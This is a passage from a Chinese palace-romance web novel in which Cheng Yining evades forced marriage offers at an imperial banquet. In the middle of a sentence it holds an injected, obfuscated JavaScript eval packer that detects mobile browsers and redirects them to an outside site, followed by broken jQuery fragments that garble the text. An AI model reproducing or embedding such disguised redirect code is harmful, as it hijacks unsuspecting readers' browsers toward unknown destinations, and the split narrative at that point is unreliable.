以旁观者自居的程以宁在一阵低低的“啊”声愣住。
殿内视线齐刷刷打向她,程以宁慌张又懵然,环视着,捕捉到李自蹊正与侍从说着什么。
他看过来的刹那,不巧得很,程以宁视线完完全全转落在那位说要娶她的男子身上。
他跪于大殿中央,一身赤色圆领长袍,宽肩窄腰,面容精致,引得官家小姐们惊叹连连。
从侧面看过去,他神情冰冷,不像是求娶心爱的姑娘,更像是要一件可有可无的物什。
皇后没接话,一旁的太子向前半步的举动被她一个眼神吓回。
后面钱昭仪开又口:“明辉啊,你府中姬妾众多,程大小姐怕是受不了那气。”
大殿中央那人道:“本王娶了她,定不会辱没她。”
皇后道:“程大小姐乃镇国公嫡女,平常宝贝得紧,先前一直养在母家扬州,两三年才回一次京。隔辈带人都是溺爱,难免养得骄纵了些。曦王你历来寡言少语,想来,与她的性子是不和的。”
“我愿意为她改变。”
好坚定啊,要不是看出来他并没有真的想娶的意思,程以宁都要信了。
皇后笑道:“镇国公没有在朝为官,也不常出入皇宫,无甚私交。她的婚事,你让本宫做主,着实是在为难人。”
李明辉道:“镇国公爵位不低没错,但手里无甚实权,皇后若帮我保媒,想来镇国公也不会有异议。”
皇后道:“本宫为何非要因为你,跟镇国公撕破脸皮?”
李明辉道:“只因方才母后说,要好好为我们保媒,儿臣当真了,才斗胆说出心中所愿。难不成母后只是客气客气?还是这程家大小姐,早就是母后认定的媳妇?若是如此……”
李业成说什么也坐不住了,拍案而起,“李明辉!你怎得这般跟母后说话,为了个姑娘,尊卑规矩都不要了?你让皇家脸面往哪里搁?!”
李明辉面不改色:“皇后娘娘进门就说了今日乃家宴,既是家宴,那必定是先亲友,后君臣。我伏跪在地已示臣,十一弟不唤我一声皇长兄,而是直呼我名,这守得又是哪门子规矩?”
“李芒!我看你真是昏了头了,来人,给我把他拖出……”
“皇长兄莫要为难母后了——”
李业成话还没说完,就被殿门外的声音给打断。
程以宁注意到李明辉身子一僵,冷若冰霜的脸有了些些松动。
“——我向父皇求旨一道,赐婚于你们,可好?”
众人循声望去,只见一位发冠华美,衣着精致的女子朝殿内款款而来。
程以宁明显听到对面倒吸一口气,周围几个姑娘都在夸其美貌,就连秦双仪都说了一句:“哥哥不怎么样,妹妹倒是打眼得很。”
陶絮道:“早就听说朝瑰公主国色无双,今日一见,果然名不虚传。”
秦双仪道:“是啊,朝瑰公主,排行第五,她的美貌说是名扬天下都不为过。皇上对她生母和同胞哥哥都淡淡的,唯独对她宠爱有加,今年二十二都未曾婚配,是陛下舍不得啊。”
在赞誉声中,朝瑰走到台阶下,与李明辉并跪着,行了个大礼,“朝瑰给母后请安。”
如果说李自蹊的声音是一淙涓涓溪流,从容不迫,不急不缓,自带一股温情。
那李容月的声音则如朝阳下落在玫瑰花瓣上的露珠,清润透亮,沾着晨间湿意,凉凉的空气中夹带着丝丝花香。
有种她说什么,你都愿意听进去的魔力。
“起来吧。”皇后颔首,“今日宴会,公主是不宜出席。但你是朝瑰,你可以。赐座。”
“谢母后。不过,儿臣不急着坐,皇兄的婚事要紧些。”朝瑰公主看向同样跪在地上的李明辉,问:“皇长兄对程大小姐情深已经至此了吗?你不惜冒着犯上的罪名,硬是要娶她,对么?”
“朝瑰公主言重了。”皇后道,“明辉虽不是本宫亲生,但胜似亲生,方才那番话不过是小孩子闹脾气,算不得犯上。”
容月道:“皇后娘娘宽仁,换做是我,便像太子那样,把人给轰出去再打个几板子,让他长长记性!”
李明辉磕了一头,“谢母后不罚之恩。”
容月道:“皇长兄,我只问你一句,你当真对程大小姐一往情深?”
殿内陷入良久的沉默。
很久很久,久到程以宁以为按下了暂停键,李明辉才缓缓转向她,道:“是不是只要一往情深就能抱得美人归?”
“有时候能不能在一起,感情反而不是最重要的。”容月声音低了许多,语气也没方才那么强硬。
又是一阵沉默,程以宁正好能看到李明辉大半张脸,眼下的他全然没了方才那般冷酷,狭长的眼睛含情脉脉,谁看谁迷糊。
身后那些小姑娘就是最好的列子,私语声不断,激动些的脖子都伸到程以宁耳朵边上了——就程以宁不迷糊,在心中切了一声,喜欢别人还要娶她,鬼知道安的什么心。
良久,李明辉道:“既然皇后娘娘不愿意保这个媒,想来父皇也未必会同意,儿臣另寻他法吧。”
李明辉冷着脸磕了一头,又道:“忽然想起有件公务还未处理完,儿臣先行告退了。”
陶絮感叹道:“真是兄妹情深啊……”
这是兄妹情?
这能是兄妹情就有鬼了。
程以宁看了她一眼,没有接话。
但她十分诧异,李明辉当众给皇后难堪,皇后竟然不惩罚他,甚至没有任何动怒的意思。
“皇后就这样放过他了?”程以宁憋不住心中所想,脱口道。
陶絮道:“皇后娘娘最是心慈大度,这点小事不会放在心上的。”
“皇后大度就大度吧。”程以宁还是觉得不对,“那李明辉不怕皇上吗?”
陶絮道:“双仪姐姐你同她说。”
秦双仪接过话:“皇上本身育有七子长大成人,如今只剩下三个,而曦王是三个皇子里文武双全、略通治国之道。虽非嫡子,但是长子。李业成没被册封前,都以为曦王会成为皇储,谁曾想……”
皇后同朝瑰寒暄了几句,又转道:“方才,明辉倒是点醒了本宫,程家嫡姑娘是到了适婚之龄。不知,镇国公可有给你相郎君?”
得,该来的还是躲不掉。
程以宁出列跪下,道:“回皇后娘娘的话,臣女自幼与父母聚少离多,膝下承欢的日子逝去太多,此番进京也是为了弥补这些年的空缺,想多待些日子,好尽尽孝,同爹爹娘亲商量好了,目下不成亲。”
皇后点头表示理解:“有此孝心,你爷爷程公在九泉之下也能瞑目了。”
“三月前你刚进京,第一次正式入宫觐见,本宫就对你一见如故。念你对京城不甚熟悉,吩咐业成带你游玩,不知他可是个好向导?”
程以宁看了一眼李稷,后者圆脸盘子上的眼睛湿漉漉的,满是期待地回瞅她。
可程以宁不吃这一套,“太子孝顺,皇后吩咐的话他自然是照做了。只不过,臣女惶恐,实在受不起天之骄子为我引路,又不好拂了太子的面子,是以逐渐减少出门。”
闻言,皇后淡淡道:“三个月不见,程家姑娘似乎长变了呢。”
“回皇后的话,变或没变于在心,而不于在人。”程以宁一直笔直跪着,垂着眼,保持着恭敬姿态。
言下之意就是,不是我变了,而是你的心境变了。
皇后挥挥手,示意她退下。转头道:“中书令的外孙女可来了?”
秦双仪头一歪,面露苦涩,“哎哟,我的亲皇后娘娘诶,您就放过我吧。臣女每天不是舞刀弄剑,就是拳打脚踢,哪个王爷敢娶我呀?”
面对跳脱的秦双仪,皇后笑得一脸慈母样,道:“凡是女子,都要嫁人。”
秦双仪小声道:“娘娘别把我当女子不就得了……”
程以宁吓一跳,“秦姐姐居然这样同皇后娘娘说话,她不要命了么?”
陶絮小声道:“秦姐姐是董丞相的外孙女,前兵部侍郎的女儿,她母亲生前是诰命。小时候还在宫中久住过一些日子,同皇后娘娘自然是亲近些。”
“皇上驾到——”
“吾皇万岁万岁万万岁。”嫔妃们也都下了台阶,跪地恭迎圣驾。
“起来吧起来吧,”
皇上是个四五十岁的中年男子,留着两撇胡子,微微发福,大摇大摆走进大殿,张望了一圈,一落座主位便问道:“怎么样了?成了几对?”
皇后福了福,“回皇上的话,臣妾尽力撮合中。”
“一对都没成?这怎么跟太后交代啊。”皇上颇为发愁,“太子,你不是喜欢那程家嫡姑娘吗?你们相处得怎么样了?”
李业成道:“回父皇的话,相处甚欢!”
皇上哈哈道:“既如此,朕明日就下旨赐婚,如了你的愿,让她当你的太子妃。”
程以宁脑子一嗡,“万万不可,请陛下收回成命。”
皇帝挑眉:“哦?你有异议?”
“是。”
皇上脸上没表情,看不出怒意,说了同房皇后一样的话,“姑娘家总要出嫁的,年龄一大就不好找人家了。”
程以宁道:“皇上说的是,姑娘家总要嫁人的,但臣女并不是太子妃最佳人选。臣女我行我素惯了,又不似皇后那般善于言辞,实在撑不起大场面,嫁给太子岂非丢了皇家脸面?”
“再次,臣女只愿得一心人白首不相离。可太子殿下身上承担的不仅仅有大源社稷,还有为皇家开枝散叶之责。倘或强行赐婚,只会在相看两厌中渐成怨偶。届时,殿下的后宫不稳,处理正事的心思多少会分了一二,这又是一大隐患……”
程以宁说的没错,他这个嫡出儿子,最是重感情。如果强许一个不爱他的人做妻子,他朝登基,怕是会误国。
何况,镇国公跟皇后党绑在一起,不好制衡太子,李芒那边定招架不住。
要不是钱昭仪吹了枕头风,他头脑一热应下,也不会动要程以宁当太子妃的心思。
皇帝要赐婚,一个臣女当着这么多人的面拒绝,总归是有损皇帝威严的。
“不若这样如何?”程以宁声音清脆灵动,与富丽堂皇宫殿不太相配。
她道:“他日臣女习好规矩,有了几分大人样,再下旨赐婚,臣女也拿得出手些。”
虽说有些牵强,但到底还算顾及了皇家颜面。
皇上道:“好了好了,洋洋洒洒说了这许多,朕到底是被说动了。你跟太子都是一团孩子气,长长再成婚也好。”
才良帝又道:“朕应了你,你是不是也得应应朕。”
“皇上尽管说。”
皇帝道:“倘若有看上的郎君,要第一个跟朕说。”
不知道他葫芦里卖的什么药,程以宁为了不立刻嫁太子,只能应下。
皇上龙颜大悦,哈哈道:“不管是公子还是皇子,朕都帮你牵线。”
程以宁道:“承蒙陛下皇后厚爱,心挂着臣女的婚事,爹爹娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668372|173031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲知道了,定然也会如臣女一般受宠若惊。”
皇帝坐在高位,笑着点了点她,“伶牙俐齿。”复又道:“好了,大家别跪着了,开宴吧。”
“来,朝瑰,坐爹边上。”
皇帝大手一挥,台下的人都回到了各自的位置上。
正午时分,正式上菜,宫女们端着盘子举过头顶,弯着腰鱼贯而入,将一道道菜肴放到桌前。
口味偏甜,程以宁吃不惯,挑了两口就放下筷子。见此,秦双仪道:“你怎么也不吃了?”
“我不饿。”
“我还以为你是不爱吃呢。”
陶絮道:“怎么可能,这可是滨式菜系,以宁姐姐常住在扬州怎么可能会吃不惯呢。”
“对哦。我忘了。”秦双仪抱歉笑笑。
没关系,我也忘了。程以宁笑笑摇头。
陶絮吃了一会也放筷子了,只有秦双仪还在埋头吃着,整个大殿里,怕是只有她是真的来干饭的。
高台上,容月一边给皇上布菜,一边说着什么。
程以宁离高台不是很近,周围嗡嗡说话声,听不到他们交谈的内容,但两人脸上都挂着笑,想来话题是相当轻松的。
饭罢后,皇帝点了几张鸳鸯谱,朝瑰十分妥帖,总是会变着法子询问女方的意向,等到双方都点头,亲事才算定下。
怪不得讨皇上喜欢,就这么会子功夫,程以宁都有了些许好感。
高坐上,皇后因牵成线而欢快不已,李业成将皇帝奉承得合不拢嘴,底下的王公贵子也没放弃在皇上面前表现的机会,想法设法找他说话。
大殿内一时笑声交谈声不绝于耳。
除了李自蹊。
他一直很安静,不主动攀谈,不随意插话。只在提到他时,说个一两句,听到有趣的话题也会跟着笑笑。
似乎被隔绝在外,又似乎深陷其中。
他是这群白衣里唯一的黑,是喧嚣名利场下唯一的静。
是饕鬄盛宴上一道解腻的清粥小菜,放上或拿掉都不会有人在意。
格格不入,连点缀都算不上,甚至是多余的。
可一旦真拿掉了,一桌子大鱼大肉,又看着齁得吃不下了。
每每程以宁眼神不自觉飘向那边,他几乎回回都有察觉,端起茶杯朝她遥遥一敬,微笑点头。
就连略带冒犯的观察他都不失礼节地回应。
安静,温柔,端正,这不妥妥炮灰男二人设么……
程以宁心中好一阵叹息,不声不响的炮灰最让人心疼了。
不过话说回来,到现在她还没搞清楚自己的定位,别人的人设倒是摸得一清二楚了。
好气氛没维持多久,钱昭仪又架起了戏台子,道:“哎呀,这刚出年关,皇家又要迎几门亲了,丁尚书怕是要忙得不可开交了。”
高贵妃道:“可不是,过些日子,玉岁公主就要嫁去眉单和亲,又是一大喜事呢。”
高台上的嫔妃倒吸一口气,各个神色异常,看了眼高贤丽又看了眼房德璇。
后者笑意盈盈,看不出什么。
“这高贵妃,哪壶不开提哪壶,晦气!”秦双仪盯着高贤丽,眼神似刀枪,足以将人钉个穿。
程以宁纳闷,“玉岁是谁?为什么一提起她,都这么紧张?”
陶絮道:“玉岁公主乃皇后唯一女儿,年仅十六,不日就要嫁到荒原大漠上了。”
“你不常在京城,有所不知。”秦双仪道,“原本皇后极力反对,跟皇上相争了大半年,都没什么结果。”
“直到太子登基不久,玉岁公主和亲之事才真正定下。”
“高贤丽这一提起,跟在伤口上撒盐没什么区别了。”
“大源几乎每年都要与眉单和亲,十五年间,至少嫁了十一位公主过去。大部分都是货真价实的公主哦,还不是什么郡主丫鬟替嫁。”
程以宁问:“眉单国力很强盛吗?”
秦双仪摇头道:“我没去过边疆服役,不太清楚。”
“听军中兄弟说,自从武王灭了小金国,眉单和芭里就有交好的迹象,我想一定是皇帝认为打不过两国才要和亲。”
秦双仪不重不轻地锤了一下桌子,“哼,这些男人真是没用,他们之间的斗争,要一个小公主去平息。我要是手里有点兵权,一定把边疆这些外敌流寇收拾的服服帖帖。野蛮子还想娶我国公主?门儿都没有!还好亲事,这么好的亲事你怎么不嫁去?”
见她如此愤愤,陶絮问:“你跟皇后私交甚笃呀?”
“那倒不是,”秦双仪道,“我跟玉岁玩得好。”
那就难怪了,谁都受不了自己好朋友被冷嘲热讽吧。虽然高贵妃真正目的为了戳皇后的痛脚。
一位妃嫔又道:“这些亲事里,最可惜的莫过于程家大小姐了,太子殿下这么好的亲事都要拒绝……”
高贵妃冷哼道:“这程家嫡女当真是有些手段在身上的。太子拜倒在其石榴裙下,就连风流倜傥的大皇子都有为了她收心的意思。棋嫔娘娘,您说,她究竟有何过人之处?”
棋嫔道:“这种手段,贵妃娘娘还是问钱昭仪吧,她使得最应手了。”
两人的交谈声皇帝听在耳里,问了句:“怎么回事?”
棋嫔道:“臣妾失言,皇上恕罪。”
皇上微愠:“有话直说,绕弯子使招子给谁看呢。”
棋嫔不敢忤逆,支支吾吾道:“昨天东林街群芳楼拍卖的花魁,实则是程大小姐……”